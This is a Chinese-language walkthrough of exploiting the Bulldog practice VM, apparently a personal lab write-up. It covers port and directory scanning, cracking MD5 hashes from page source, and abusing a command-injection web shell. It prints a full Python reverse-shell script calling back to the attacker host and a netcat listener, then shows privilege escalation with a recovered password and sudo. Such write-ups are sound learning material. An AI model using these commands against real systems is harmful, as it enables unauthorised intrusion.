信息收集
主机发现
kali IP地址查询,确认靶机存在网段
使用nmap进行主机发现:
namp -sP 192.168.31.0/24
端口及其服务扫描
nmap -sV -O 192.168.31.181
发现开放了23,80,8080端口及其服务
访问其80及8080端口(因为此端口开放了http服务):
使用firefox插件也查询出网站的cms,但是并没有其他的有用信息。
目录扫描
尝试进行目录扫描,看看是否能等到一些后台页面。
使用kali工具–dirb:
使用御剑扫描:
测试
对应端口服务测试
开放了ssh服务,尝试弱口令爆破连接ssh。
使用msf框架:
1.搜索ssh对应模块:
2.根据描述,使用第一个模块,并查看对应的配置选项:
3.设置选项:
注意:靶机ssh开放的端口为23,而msf默认设置端口为22.
4.运行run,并没有成功(因为漏洞点不在这里)
后台目录寻找漏洞
测试了一些路径,发现都会重定向到admin登录页面,而且虽然url中有next参数,但是好像没什么用,web框架为Django:
访问/dev/:
进入了另一个页面,发现web-shell可以点击:
进去后,有条信息,意思是:请向服务器验证以使用Web Shell。
可以从这里入手
返回/dev/页面,存在这一些相对敏感的信息:
可以利用这些信息生成字典,进行暴力破解,尝试登录admin页面。
但是,查看网页源码,发现了一些加密的信息:
尝试md5进行解密,只有最后两个可以解密:
对应信息:
nick@bulldogindustries.com --> bulldog
sarah@bulldogindustries.com --> bulldoglover
使用这两组对应信息尝试登录,最后使用:
nick --> bulldog
sarah --> bulldoglover
成功登录:
这里显示不能编辑任何东西。
此时打开之前的web-shell页面,成功进入:
是一个命令执行的页面。
看看存不存在命令执行漏洞:
发现确实存在命令执行漏洞。
反弹shell,因为知道网站的编程语言是python,所以可以通过python进行反弹shell:
#!/usr/bin/python
#coding=utf-8
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.31.180",1234)) //kali IP地址及监听端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])
使用:
python -m SimpleHTTPServer 80 //开放简易的http服务
监听shell脚本中设置的端口:
nc -vnlp 1234
通过命令执行漏洞,下载shell脚本:
执行脚本,反弹shell:
提权
1.获得webshell后,查看/etc/passwd内容:
获得两个相关的信息。
2.进入/home目录下查看存在哪些文件:
3.进入后面两个目录,查看目录下的内容:
bulldogadmin:
有一个比较敏感的隐藏目录,进入,查看目录下内容:
有两个文件,第二个比较明显,打开看看:
得到了一封信,找度娘翻译一下:
我在处理后端权限的事情。听着,这是一个超级原型,但我觉得会很好。按字面意思运行应用程序,给你的帐户密码,它将决定你是否应该访问该文件或不!
太棒了!一旦我完成了它,黑客甚至无法逆转它!请记住,它现在仍然是一个原型。我要让它与Django用户帐户一起工作。我不知道我将如何为其他人实施它。也许只有Web服务器有时需要根访问权限?
让我知道你的想法!
这里提到了一个app,也许是上面那个文件,打开看看:
得到了一些乱码。
使用:
strings customPermissionApp // 查看文件的字符
SUPERultH
imatePASH
SWORDyouH
CANTget
去掉H:
SUPERultimatePASSWORDyouCANTget // 超级终极密码
猜测为root用户的密码,尝试登录:
尝试切换用户,提示必须打开一个终端。
使用python打开终端:
python -c 'import pty; pty.spawn("/bin/bash")';
然后切换成root用户:
su root
输入之前获得的密码进行尝试:
返回身份验证失败。
使用:
sudo -i
获得root权限。
总结
通过扫描到端口及服务信息,进行利用。
信息收集时,尽可能多的收集,方便后面的测试及利用。
对扫描到的目录进行逐一探索,对一些信息要敏感,比如源码中的一些加密信息。
通过已知的网站搭建的环境,语言,针对反弹shell(靶机使用的是python,所以使用python脚本反弹shell)。
遇到的问题
获得shell后,对敏感目录的利用不是很充分,开始的时候在 / 目录下查找一些可能利用到的文件,然后没成功,才想到/etc/passwd。
提权的时候,su命令不知道为什么不行,要使用sudo -i ,后面查一查资料,再进行积累。